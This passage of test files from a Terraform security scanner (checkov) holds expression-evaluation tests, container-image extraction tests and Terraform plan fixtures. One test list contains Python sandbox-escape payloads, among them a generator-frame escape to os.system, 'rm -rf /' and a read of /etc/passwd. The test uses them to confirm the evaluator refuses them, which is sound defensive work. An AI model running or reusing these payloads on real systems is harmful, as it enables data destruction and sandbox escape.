 def test_formatdate_everything(self):\n        input_str = 'formatdate(\"YYYY YY MMMM MMM MM M DD EEEE EEE hh h HH H AA aa mm m ss s ZZZZZ ZZZZ ZZZ Z\", \"2018-01-02T23:12:01-00:00\")'\n        expected = '2018 18 January Jan 01 1 02 Tuesday Tue 23 23 11 11 PM pm 12 12 01 1 +00:00 +0000 UTC Z'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_formatdate_simple_and_quotes(self):\n        input_str = 'formatdate(\"HH \\'o\\'\\'clock\\'\", \"2018-01-02T23:12:01Z\")'\n        expected = \"11 o'clock\"\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_formatdate_simple_and_more_quotes(self):\n        input_str = 'formatdate(\"HH \\'Hours and \\'M \\'Minute(s)\\'\", \"2018-01-02T23:12:01Z\")'\n        expected = \"11 Hours and 1 Minute(s)\"\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_handle_for_loop_in_dict(self):\n        input_str = \"{for val in [{'name': 'key3'},{'name': 'key4'}] : val.name => true}\"\n        expected = {'key3': 'true', 'key4': 'true'}\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_handle_for_loop_in_list(self):\n        input_str = \"[for val in ['k', 'v'] : val]\"\n        expected = ['k', 'v']\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = \"{for val in ['k', 'v'] : val.name => true}\"\n        expected = \"{for val in ['k', 'v'] : val.name :> true}\"\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_handle_for_loop_in_list_of_dicts(self):\n        input_str = \"[for val in [{'name': 'raw', 'type': 'container'}, {'name': 'masked', 'type': 'blob'}] : {'name': '${val.name}', 'type': '${val.type}'}]\"\n        expected = [{'name': 'raw', 'type': 'container'}, {'name': 'masked', 'type': 'blob'}]\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = \"[for val in [{'a': 123, 'b': True, 'c': None}] : {'a': '${val.a}', 'b': '${val.b}', 'c': '${val.c}'}]\"\n        expected = [{'a': 123, 'b': True, 'c': None}]\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_base64_value(self):\n        input_str = \"\\\"['dGVzdA==']\\\"\"\n        expected = [\"dGVzdA==\"]\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_try_block(self):\n        input_str = 'try(\"local.foo.boop\", \"{}\")'\n        expected = {}\n        result = evaluate_terraform(input_str)\n        self.assertEqual(expected, result)\n\n    def test_try_then_merge_block(self):\n        input_str = \"try((merge({}, {})), 1, 2)\"\n        expected = {}\n        result = evaluate_terraform(input_str)\n        self.assertEqual(expected, result)\n\n    def test_empty_string(self):\n        input_str = \"   \"\n        expected = input_str\n        result = evaluate_terraform(input_str)\n        self.assertEqual(expected, result)\n\n        input_str = \"\"\n        expected = input_str\n        result = evaluate_terraform(input_str)\n        self.assertEqual(expected, result)\n\n    def test_dict_as_string(self):\n        expected = {'Statement': [\n            {'Action': ['lambda:CreateFunction', 'lambda:CreateEventSourceMapping', 'dynamodb:CreateTable'],\n             'Effect': 'Allow', 'Resource': '*'}], 'Version': '2012-10-17'}\n        input_str = '  {    \"Version\": \"2012-10-17\",    \"Statement\": [      {        \"Effect\": \"Allow\",        \"Action\": [          \"lambda:CreateFunction\",          \"lambda:CreateEventSourceMapping\",          \"dynamodb:CreateTable\",        ],        \"Resource\": \"*\"      }    ]  }'\n        result = evaluate_terraform(input_str)\n        assert result == expected\n\n    def test_continue_stays_the_same(self):\n        expected = \"continue\"\n        result = evaluate_terraform(\"continue\")\n        self.assertEqual(expected, result)\n\n\n@pytest.mark.parametrize(\n    \"origin_str,str_to_replace,new_value,expected\",\n    [\n        (\"${lookup({'a': ${local.protocol1}},\\\"a\\\",\\\"https\\\")}\", '${local.protocol1}', 'local.protocol1', '\"local.protocol1\"'),\n        ('${length(keys(var.identity)) > 0 ? [${var.identity}] : []}', '${var.identity}', 'var.identity', 'var.identity'),\n    ],\n    ids=[\"escaped\", \"not escaped\"],\n)\ndef test_find_new_value_for_interpolation(origin_str: str, str_to_replace: str, new_value: str, expected: str):\n    actual = _find_new_value_for_interpolation(origin_str, str_to_replace, new_value)\n    assert actual == expected\n\n\ndef test_evaluate_range_pattern() -> None:\n\n    # Test range pattern\n    assert evaluate(\"1-10\") == \"1-10\"\n    assert evaluate(\"5-25\")== \"5-25\"\n    assert evaluate(\"10-5\") == 5\n\n    # Test non-range pattern for comparison\n    assert evaluate(\"1+1\") == 2\n\n\nEVAL_DANGEROUS_INPUTS = [\n    (\"unicode_characters\", \"[{}._﹎class_﹎._﹎bases_﹎[0]._﹎subclasses_﹎()]\"),\n    (\"generators_to_bypass_protections_code\", \"((gen:=(gen_list[0].gi_frame.f_back.f_back.f_globals for _ in [1,]),v:=gen_list.append(gen), gen_list[0])[2] for gen_list in [[]]).send(None).send(None).get('_'+'_builtins_'+'_')['_'+'_import_'+'_']('os').system('date >> /tmp/gen-example')\"),\n    (\"system command\", \"__import__('os').system('rm -rf /')\"),\n    (\"read passwd\", \"open('/etc/passwd').read()\"),\n    (\"access builtins\", \"__builtins__.__import__('os').listdir('.')\"),\n    (\"exec call\", \"exec('print(123)')\"),\n    (\"create file\", \"__import__('os').popen('touch /tmp/hacked').read()\"),\n    (\"subclasses\", \"().__class__.__bases__[0].__subclasses__()\"),\n    (\"socket connection\", \"__import__('socket').socket().connect(('example.com', 80))\"),\n    (\"lambda trick\", \"(lambda f: f('ls'))(__import__('os').system)\")\n]\n\n\n@pytest.mark.parametrize(\"description, input_str\", EVAL_DANGEROUS_INPUTS)\ndef test_evaluate_malicious_code(description: str, input_str: str)-> None:\n    expected = input_str\n    result = evaluate_terraform(input_str)\n    assert result == expected\n    asteval = get_asteval()\n    asteval(input_str)\n    assert asteval.error"
  },
  {
    "path": "tests/terraform/image_referencer/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/image_referencer/provider/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/image_referencer/provider/test_aws.py",
    "content": "import os\nfrom unittest import mock\n\nimport pytest\nfrom checkov.common.images.image_referencer import Image\nfrom checkov.terraform.image_referencer.provider.aws import AwsTerraformProvider\nfrom tests.graph_utils.utils import GRAPH_FRAMEWORKS, set_graph_by_graph_framework, \\\n    add_vertices_to_graph_by_graph_framework\n\n\n@mock.patch.dict(os.environ, {\"BC_ROOT_DIR\": \"/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src\"})\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_extract_images_from_resources_with_external_module(graph_framework):\n    # given\n    resource = {\n        \"file_path_\": \"/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/aws_batch_job_definition.batch.tf\",\n        \"__end_line__\": 8,\n        \"__start_line__\": 1,\n        \"container_definitions\": [\n            {\n                \"name\": \"first\",\n                \"image\": \"nginx\",\n                \"cpu\": 10,\n                \"memory\": 512,\n                \"essential\": True,\n                \"portMappings\": [{\"containerPort\": 80, \"hostPort\": 80}],\n            },\n            {\n                \"name\": \"second\",\n                \"image\": \"python:3.9-alpine\",\n                \"cpu\": 10,\n                \"memory\": 256,\n                \"essential\": True,\n                \"portMappings\": [{\"containerPort\": 443, \"hostPort\": 443}],\n            },\n        ],\n        \"resource_type\": \"aws_ecs_task_definition\",\n        \"module_dependency_\": \"/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/example/examplea/module.batch.tf\",\n        \"module_dependency_num_\": \"0\",\n        \"id_\": \"aws_batch_job_definition.batch\",\n    }\n    module_resource = {\n        \"block_name_\": \"batch\",\n        \"block_type_\": \"module\",\n        \"file_path_\": \"/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/example/examplea/module.batch.tf\",\n        \"config_\": {\n            \"batch\": {\n                \"__end_line__\": 21,\n                \"__resolved__\": [\n                    \"/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/aws_batch_compute_environment.batch.tf[/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/example/examplea/module.batch.tf#0]\",\n                    \"/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/aws_batch_job_definition.batch.tf[/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/example/examplea/module.batch.tf#0]\",\n                    \"/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/aws_batch_job_queue.batch.tf[/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/example/examplea/module.batch.tf#0]\",\n                    \"/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/aws_batch_scheduling_policy.pike.tf[/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/example/examplea/module.batch.tf#0]\",\n                    \"/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/outputs.tf[/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/example/examplea/module.batch.tf#0]\",\n                    \"/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/variables.tf[/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/example/examplea/module.batch.tf#0]\"\n                ],\n                \"__start_line__\": 1,\n            }\n        },\n        \"id\": \"5c440d2a1a5c656290cdf8f98e1d893b1c08f7d7bb7cb93ff97a1884b83c18cc\"\n    }\n    graph = set_graph_by_graph_framework(graph_framework)\n    add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph)\n    add_vertices_to_graph_by_graph_framework(graph_framework, module_resource, graph, 2, 'batch', 'module')\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        aws_provider = AwsTerraformProvider(graph_connector=graph)\n        images = aws_provider.extract_images_from_resources()\n\n    # then\n    assert images == [\n        Image(\n            file_path='/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/aws_batch_job_definition.batch.tf',\n            name=\"nginx\",\n            start_line=1,\n            end_line=8,\n            related_resource_id='/aws_batch_job_definition.batch.tf:module.batch.aws_batch_job_definition.batch'\n        ),\n        Image(\n            file_path='/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/aws_batch_job_definition.batch.tf',\n            name=\"python:3.9-alpine\",\n            start_line=1,\n            end_line=8,\n            related_resource_id='/aws_batch_job_definition.batch.tf:module.batch.aws_batch_job_definition.batch'\n        ),\n    ]\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_extract_images_from_resources(graph_framework):\n    # given\n    resource = {\n        \"file_path_\": \"/ecs.tf\",\n        \"__end_line__\": 31,\n        \"__start_line__\": 1,\n        \"container_definitions\": [\n            {\n                \"name\": \"first\",\n                \"image\": \"nginx\",\n                \"cpu\": 10,\n                \"memory\": 512,\n                \"essential\": True,\n                \"portMappings\": [{\"containerPort\": 80, \"hostPort\": 80}],\n            },\n            {\n                \"name\": \"second\",\n                \"image\": \"python:3.9-alpine\",\n                \"cpu\": 10,\n                \"memory\": 256,\n                \"essential\": True,\n                \"portMappings\": [{\"containerPort\": 443, \"hostPort\": 443}],\n            },\n        ],\n        \"resource_type\": \"aws_ecs_task_definition\",\n    }\n    graph = set_graph_by_graph_framework(graph_framework)\n    add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph)\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        aws_provider = AwsTerraformProvider(graph_connector=graph)\n        images = aws_provider.extract_images_from_resources()\n\n    # then\n    assert images == [\n        Image(\n            file_path=\"/ecs.tf\",\n            name=\"nginx\",\n            start_line=1,\n            end_line=31,\n            related_resource_id='/ecs.tf:None'\n        ),\n        Image(\n            file_path=\"/ecs.tf\",\n            name=\"python:3.9-alpine\",\n            start_line=1,\n            end_line=31,\n            related_resource_id='/ecs.tf:None'\n        ),\n    ]\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_extract_images_from_resources_with_no_image(graph_framework):\n    # given\n    resource = {\n        \"file_path_\": \"/ecs.tf\",\n        \"__end_line__\": 31,\n        \"__start_line__\": 1,\n        \"container_definitions\": [\n            {\n                \"name\": \"first\",\n                \"cpu\": 10,\n                \"memory\": 512,\n                \"essential\": True,\n                \"portMappings\": [{\"containerPort\": 80, \"hostPort\": 80}],\n            },\n        ],\n        \"resource_type\": \"aws_ecs_task_definition\",\n    }\n    graph = set_graph_by_graph_framework(graph_framework)\n    add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph)\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        aws_provider = AwsTerraformProvider(graph_connector=graph)\n        images = aws_provider.extract_images_from_resources()\n\n    # then\n    assert not images\n"
  },
  {
    "path": "tests/terraform/image_referencer/provider/test_azure.py",
    "content": "from unittest import mock\n\nimport pytest\nfrom checkov.common.images.image_referencer import Image\nfrom checkov.terraform.image_referencer.provider.azure import AzureTerraformProvider\nfrom tests.graph_utils.utils import GRAPH_FRAMEWORKS, \\\n    set_graph_by_graph_framework, add_vertices_to_graph_by_graph_framework\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_extract_images_from_resources(graph_framework):\n    # given\n    resource = {\n        \"file_path_\": \"/batch.tf\",\n        \"__end_line__\": 25,\n        \"__start_line__\": 1,\n        \"container_configuration\": {\n            \"container_image_names\": [\"nginx\", \"python:3.9-alpine\"],\n            \"container_registries\": {\n                \"password\": \"myPassword\",  # checkov:skip=CKV_SECRET_6 test secret\n                \"registry_server\": \"myContainerRegistry.azurecr.io\",\n                \"user_name\": \"myUserName\",\n            },\n            \"type\": \"DockerCompatible\",\n        },\n        \"resource_type\": \"azurerm_batch_pool\",\n    }\n    graph = set_graph_by_graph_framework(graph_framework)\n    add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph)\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        azure_provider = AzureTerraformProvider(graph_connector=graph)\n        images = azure_provider.extract_images_from_resources()\n\n    # then\n    assert images == [\n        Image(file_path=\"/batch.tf\", name=\"nginx\", start_line=1, end_line=25, related_resource_id='/batch.tf:None'),\n        Image(file_path=\"/batch.tf\", name=\"python:3.9-alpine\", start_line=1, end_line=25, related_resource_id='/batch.tf:None'),\n    ]\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_extract_images_from_resources_with_no_image(graph_framework):\n    # given\n    resource = {\n        \"file_path_\": \"/batch.tf\",\n        \"__end_line__\": 25,\n        \"__start_line__\": 1,\n        \"container_configuration\": {\n            \"container_image_names\": [],\n            \"container_registries\": {\n                \"password\": \"myPassword\",\n                \"registry_server\": \"myContainerRegistry.azurecr.io\",\n                \"user_name\": \"myUserName\",\n            },\n            \"type\": \"DockerCompatible\",\n        },\n        \"resource_type\": \"azurerm_batch_pool\",\n    }\n    graph = set_graph_by_graph_framework(graph_framework)\n    add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph)\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        azure_provider = AzureTerraformProvider(graph_connector=graph)\n        images = azure_provider.extract_images_from_resources()\n\n    # then\n    assert not images\n\n"
  },
  {
    "path": "tests/terraform/image_referencer/provider/test_gcp.py",
    "content": "import os\nimport unittest\nfrom unittest import mock\n\nfrom parameterized import parameterized_class\n\nfrom checkov.common.images.image_referencer import Image\nfrom checkov.terraform.image_referencer.provider.gcp import GcpTerraformProvider\nfrom tests.graph_utils.utils import set_graph_by_graph_framework, PARAMETERIZED_GRAPH_FRAMEWORKS, \\\n    add_vertices_to_graph_by_graph_framework\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestGcp(unittest.TestCase):\n    def setUp(self) -> None:\n        self.graph = set_graph_by_graph_framework(self.graph_framework)\n\n    def test_extract_images_from_resources(self):\n        # given\n        resource = {\n            \"file_path_\": \"/cloud_run.tf\",\n            \"__end_line__\": 17,\n            \"__start_line__\": 1,\n            \"template\": {\n                \"spec\": {\n                    \"containers\": {\n                        \"image\": \"gcr.io/cloudrun/hello\",\n                    }\n                }\n            },\n            \"resource_type\": \"google_cloud_run_service\",\n        }\n        self.graph = set_graph_by_graph_framework(self.graph_framework)\n        add_vertices_to_graph_by_graph_framework(self.graph_framework, resource, self.graph)\n\n        # when\n        with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': self.graph_framework}):\n            gcp_provider = GcpTerraformProvider(graph_connector=self.graph)\n            images = gcp_provider.extract_images_from_resources()\n\n        # then\n        assert images == [\n            Image(\n                file_path=\"/cloud_run.tf\",\n                name=\"gcr.io/cloudrun/hello\",\n                start_line=1,\n                end_line=17,\n                related_resource_id=\"/cloud_run.tf:None\",\n            ),\n        ]\n\n    def test_extract_images_from_resources_with_no_image(self):\n        # given\n        resource = {\n            \"file_path_\": \"/cloud_run.tf\",\n            \"__end_line__\": 17,\n            \"__start_line__\": 1,\n            \"template\": {\n                \"spec\": {\n                    \"containers\": {\n                        \"working_dir\": \"/tmp\",\n                    }\n                }\n            },\n            \"resource_type\": \"google_cloud_run_service\",\n        }\n        self.graph = set_graph_by_graph_framework(self.graph_framework)\n        add_vertices_to_graph_by_graph_framework(self.graph_framework, resource, self.graph)\n\n        # when\n        with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': self.graph_framework}):\n            gcp_provider = GcpTerraformProvider(graph_connector=self.graph)\n            images = gcp_provider.extract_images_from_resources()\n\n        # then\n        assert not images\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/aws/apprunner.tf",
    "content": "resource \"aws_apprunner_service\" \"example\" {\n  service_name = \"example\"\n\n  source_configuration {\n    image_repository {\n      image_configuration {\n        port = \"8000\"\n      }\n      image_identifier      = \"public.ecr.aws/aws-containers/hello-app-runner:latest\"\n      image_repository_type = \"ECR_PUBLIC\"\n    }\n    auto_deployments_enabled = false\n  }\n\n  tags = {\n    Name = \"example-apprunner-service\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/aws/apprunner_tfplan.json",
    "content": "{\n  \"format_version\": \"1.0\",\n  \"terraform_version\": \"1.1.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_apprunner_service.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_apprunner_service\",\n          \"name\": \"example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"encryption_configuration\": [],\n            \"observability_configuration\": [],\n            \"service_name\": \"example\",\n            \"source_configuration\": [\n              {\n                \"authentication_configuration\": [],\n                \"auto_deployments_enabled\": false,\n                \"code_repository\": [],\n                \"image_repository\": [\n                  {\n                    \"image_configuration\": [\n                      {\n                        \"port\": \"8000\",\n                        \"runtime_environment_variables\": null,\n                        \"start_command\": null\n                      }\n                    ],\n                    \"image_identifier\": \"public.ecr.aws/aws-containers/hello-app-runner:latest\",\n                    \"image_repository_type\": \"ECR_PUBLIC\"\n                  }\n                ]\n              }\n            ],\n            \"tags\": {\n              \"Name\": \"example-apprunner-service\"\n            },\n            \"tags_all\": {\n              \"Name\": \"example-apprunner-service\"\n            }\n          },\n          \"sensitive_values\": {\n            \"encryption_configuration\": [],\n            \"health_check_configuration\": [],\n            \"instance_configuration\": [],\n            \"network_configuration\": [],\n            \"observability_configuration\": [],\n            \"source_configuration\": [\n              {\n                \"authentication_configuration\": [],\n                \"code_repository\": [],\n                \"image_repository\": [\n                  {\n                    \"image_configuration\": [\n                      {}\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"tags\": {},\n            \"tags_all\": {}\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_apprunner_service.example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_apprunner_service\",\n      \"name\": \"example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"encryption_configuration\": [],\n          \"observability_configuration\": [],\n          \"service_name\": \"example\",\n          \"source_configuration\": [\n            {\n              \"authentication_configuration\": [],\n              \"auto_deployments_enabled\": false,\n              \"code_repository\": [],\n              \"image_repository\": [\n                {\n                  \"image_configuration\": [\n                    {\n                      \"port\": \"8000\",\n                      \"runtime_environment_variables\": null,\n                      \"start_command\": null\n                    }\n                  ],\n                  \"image_identifier\": \"public.ecr.aws/aws-containers/hello-app-runner:latest\",\n                  \"image_repository_type\": \"ECR_PUBLIC\"\n                }\n              ]\n            }\n          ],\n          \"tags\": {\n            \"Name\": \"example-apprunner-service\"\n          },\n          \"tags_all\": {\n            \"Name\": \"example-apprunner-service\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"auto_scaling_configuration_arn\": true,\n          \"encryption_configuration\": [],\n          \"health_check_configuration\": true,\n          \"id\": true,\n          \"instance_configuration\": true,\n          \"network_configuration\": true,\n          \"observability_configuration\": [],\n          \"service_id\": true,\n          \"service_url\": true,\n          \"source_configuration\": [\n            {\n              \"authentication_configuration\": [],\n              \"code_repository\": [],\n              \"image_repository\": [\n                {\n                  \"image_configuration\": [\n                    {}\n                  ]\n                }\n              ]\n            }\n          ],\n          \"status\": true,\n          \"tags\": {},\n          \"tags_all\": {}\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"encryption_configuration\": [],\n          \"health_check_configuration\": [],\n          \"instance_configuration\": [],\n          \"network_configuration\": [],\n          \"observability_configuration\": [],\n          \"source_configuration\": [\n            {\n              \"authentication_configuration\": [],\n              \"code_repository\": [],\n              \"image_repository\": [\n                {\n                  \"image_configuration\": [\n                    {}\n                  ]\n                }\n              ]\n            }\n          ],\n          \"tags\": {},\n          \"tags_all\": {}\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"expressions\": {\n          \"profile\": {\n            \"constant_value\": \"dev2\"\n          },\n          \"region\": {\n            \"constant_value\": \"us-west-2\"\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_apprunner_service.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_apprunner_service\",\n          \"name\": \"example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"service_name\": {\n              \"constant_value\": \"example\"\n            },\n            \"source_configuration\": [\n              {\n                \"auto_deployments_enabled\": {\n                  \"constant_value\": false\n                },\n                \"image_repository\": [\n                  {\n                    \"image_configuration\": [\n                      {\n                        \"port\": {\n                          \"constant_value\": \"8000\"\n                        }\n                      }\n                    ],\n                    \"image_identifier\": {\n                      \"constant_value\": \"public.ecr.aws/aws-containers/hello-app-runner:latest\"\n                    },\n                    \"image_repository_type\": {\n                      \"constant_value\": \"ECR_PUBLIC\"\n                    }\n                  }\n                ]\n              }\n            ],\n            \"tags\": {\n              \"constant_value\": {\n                \"Name\": \"example-apprunner-service\"\n              }\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/aws/batch.tf",
    "content": "resource \"aws_batch_job_definition\" \"test\" {\n  name = \"tf_test_batch_job_definition\"\n  type = \"container\"\n\n  container_properties = <<CONTAINER_PROPERTIES\n{\n    \"command\": [\"ls\", \"-la\"],\n    \"image\": \"busybox\",\n    \"memory\": 1024,\n    \"vcpus\": 1,\n    \"volumes\": [\n      {\n        \"host\": {\n          \"sourcePath\": \"/tmp\"\n        },\n        \"name\": \"tmp\"\n      }\n    ],\n    \"environment\": [\n        {\"name\": \"VARNAME\", \"value\": \"VARVAL\"}\n    ],\n    \"mountPoints\": [\n        {\n          \"sourceVolume\": \"tmp\",\n          \"containerPath\": \"/tmp\",\n          \"readOnly\": false\n        }\n    ],\n    \"ulimits\": [\n      {\n        \"hardLimit\": 1024,\n        \"name\": \"nofile\",\n        \"softLimit\": 1024\n      }\n    ]\n}\nCONTAINER_PROPERTIES\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/aws/batch_tfplan.json",
    "content": "{\n  \"format_version\": \"1.0\",\n  \"terraform_version\": \"1.1.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_batch_job_definition.test\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_batch_job_definition\",\n          \"name\": \"test\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"container_properties\": \"{\\\"command\\\":[\\\"ls\\\",\\\"-la\\\"],\\\"environment\\\":[{\\\"name\\\":\\\"VARNAME\\\",\\\"value\\\":\\\"VARVAL\\\"}],\\\"image\\\":\\\"busybox\\\",\\\"memory\\\":1024,\\\"mountPoints\\\":[{\\\"containerPath\\\":\\\"/tmp\\\",\\\"readOnly\\\":false,\\\"sourceVolume\\\":\\\"tmp\\\"}],\\\"ulimits\\\":[{\\\"hardLimit\\\":1024,\\\"name\\\":\\\"nofile\\\",\\\"softLimit\\\":1024}],\\\"vcpus\\\":1,\\\"volumes\\\":[{\\\"host\\\":{\\\"sourcePath\\\":\\\"/tmp\\\"},\\\"name\\\":\\\"tmp\\\"}]}\",\n            \"name\": \"tf_test_batch_job_definition\",\n            \"parameters\": null,\n            \"platform_capabilities\": null,\n            \"propagate_tags\": false,\n            \"retry_strategy\": [],\n            \"tags\": null,\n            \"timeout\": [],\n            \"type\": \"container\"\n          },\n          \"sensitive_values\": {\n            \"retry_strategy\": [],\n            \"tags_all\": {},\n            \"timeout\": []\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_batch_job_definition.test\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_batch_job_definition\",\n      \"name\": \"test\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"container_properties\": \"{\\\"command\\\":[\\\"ls\\\",\\\"-la\\\"],\\\"environment\\\":[{\\\"name\\\":\\\"VARNAME\\\",\\\"value\\\":\\\"VARVAL\\\"}],\\\"image\\\":\\\"busybox\\\",\\\"memory\\\":1024,\\\"mountPoints\\\":[{\\\"containerPath\\\":\\\"/tmp\\\",\\\"readOnly\\\":false,\\\"sourceVolume\\\":\\\"tmp\\\"}],\\\"ulimits\\\":[{\\\"hardLimit\\\":1024,\\\"name\\\":\\\"nofile\\\",\\\"softLimit\\\":1024}],\\\"vcpus\\\":1,\\\"volumes\\\":[{\\\"host\\\":{\\\"sourcePath\\\":\\\"/tmp\\\"},\\\"name\\\":\\\"tmp\\\"}]}\",\n          \"name\": \"tf_test_batch_job_definition\",\n          \"parameters\": null,\n          \"platform_capabilities\": null,\n          \"propagate_tags\": false,\n          \"retry_strategy\": [],\n          \"tags\": null,\n          \"timeout\": [],\n          \"type\": \"container\"\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"retry_strategy\": [],\n          \"revision\": true,\n          \"tags_all\": true,\n          \"timeout\": []\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"retry_strategy\": [],\n          \"tags_all\": {},\n          \"timeout\": []\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"expressions\": {\n          \"profile\": {\n            \"constant_value\": \"dev2\"\n          },\n          \"region\": {\n            \"constant_value\": \"us-west-2\"\n          },\n          \"access_key\": {\n            \"constant_value\": \"AKIAIOSFODNN7EXAMPLE\"\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_batch_job_definition.test\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_batch_job_definition\",\n          \"name\": \"test\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"container_properties\": {\n              \"constant_value\": \"{\\r\\n    \\\"command\\\": [\\\"ls\\\", \\\"-la\\\"],\\r\\n    \\\"image\\\": \\\"busybox\\\",\\r\\n    \\\"memory\\\": 1024,\\r\\n    \\\"vcpus\\\": 1,\\r\\n    \\\"volumes\\\": [\\r\\n      {\\r\\n        \\\"host\\\": {\\r\\n          \\\"sourcePath\\\": \\\"/tmp\\\"\\r\\n        },\\r\\n        \\\"name\\\": \\\"tmp\\\"\\r\\n      }\\r\\n    ],\\r\\n    \\\"environment\\\": [\\r\\n        {\\\"name\\\": \\\"VARNAME\\\", \\\"value\\\": \\\"VARVAL\\\"}\\r\\n    ],\\r\\n    \\\"mountPoints\\\": [\\r\\n        {\\r\\n          \\\"sourceVolume\\\": \\\"tmp\\\",\\r\\n          \\\"containerPath\\\": \\\"/tmp\\\",\\r\\n          \\\"readOnly\\\": false\\r\\n        }\\r\\n    ],\\r\\n    \\\"ulimits\\\": [\\r\\n      {\\r\\n        \\\"hardLimit\\\": 1024,\\r\\n        \\\"name\\\": \\\"nofile\\\",\\r\\n        \\\"softLimit\\\": 1024\\r\\n      }\\r\\n    ]\\r\\n}\\r\\n\"\n            },\n            \"name\": {\n              \"constant_value\": \"tf_test_batch_job_definition\"\n            },\n            \"type\": {\n              \"constant_value\": \"container\"\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/aws/codebuild.tf",
